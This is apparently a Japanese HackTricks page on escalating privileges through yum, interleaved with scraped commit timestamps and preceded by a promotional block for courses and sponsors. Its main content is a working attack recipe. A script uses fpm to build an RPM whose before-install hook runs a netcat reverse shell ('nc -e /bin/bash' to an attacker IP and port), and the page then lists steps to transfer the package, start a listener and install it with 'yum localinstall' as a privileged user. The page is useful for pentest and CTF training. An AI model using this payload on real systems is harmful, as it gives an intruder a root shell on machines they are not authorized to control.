2022-04-28 16:01:33 +00:00
< details >
2024-02-08 22:31:36 +00:00
< summary > < strong > ゼロからヒーローまでAWSハッキングを学ぶ< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE（ ） < / strong > < / a > < strong > ！ < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-08 22:31:36 +00:00
HackTricks をサポートする他の方法:
2022-04-28 16:01:33 +00:00
2024-02-08 22:31:36 +00:00
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop ) をチェックしてください！
* [**公式PEASS＆ ](https://peass.creator-spring.com )を入手する
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )、当社の独占的な [**NFTs** ](https://opensea.io/collection/the-peass-family ) コレクションを発見する
* **💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f ) または [**telegramグループ** ](https://t.me/peass ) に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live ) をフォローする。
* **ハッキングトリックを共有するには、PRを** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) および [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github リポジトリに提出してください。
2022-04-28 16:01:33 +00:00
< / details >
2024-02-08 22:31:36 +00:00
yumに関するさらなる例は、[gtfobins](https://gtfobins.github.io/gtfobins/yum/) で見つけることができます。
2020-11-26 04:33:08 +00:00
2024-02-08 22:31:36 +00:00
# RPMパッケージを介した任意のコマンドの実行
2023-07-07 23:42:27 +00:00
## 環境の確認
2024-02-08 22:31:36 +00:00
このベクトルを活用するためには、ユーザーが高い特権を持つユーザーとしてyumコマンドを実行できる必要があります。つまり、rootユーザーである必要があります。
2020-11-26 04:33:08 +00:00
2024-02-08 22:31:36 +00:00
### このベクトルの動作例
この脆弱性の動作例は、[tryhackme](https://tryhackme.com) の [daily bugle ](https://tryhackme.com/room/dailybugle ) ルームで見つけることができます。
2020-11-26 04:33:08 +00:00
2024-01-06 23:47:16 +00:00
## RPMのパッケージング
2024-02-08 22:31:36 +00:00
次のセクションでは、[fpm](https://github.com/jordansissel/fpm) を使用してRPMに逆シェルをパッケージ化する方法について説明します。
2020-11-26 04:33:08 +00:00
2024-02-08 22:31:36 +00:00
以下の例では、攻撃者が定義できる任意のスクリプトを持つ before-install トリガーを含むパッケージを作成します。このパッケージをインストールすると、任意のコマンドが実行されます。デモンストレーション用にシンプルな逆ネットキャットシェルの例を使用しましたが、必要に応じて変更できます。
2020-11-26 04:33:08 +00:00
```text
EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash < ATTACKER IP > < PORT > '
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
```
2024-02-08 22:31:36 +00:00
# シェルを取得する
上記の例を使用し、`yum`を特権のあるユーザーとして実行できると仮定します。
2020-11-26 04:33:08 +00:00
2024-02-08 22:31:36 +00:00
1. ホストにrpmを**転送**します
2. ローカルホストで[例のnetcatリスナー](/shells/shells/linux#netcat)などを**起動**します
3. 脆弱なパッケージをインストールします `yum localinstall -y exploited-1.0-1.noarch.rpm`
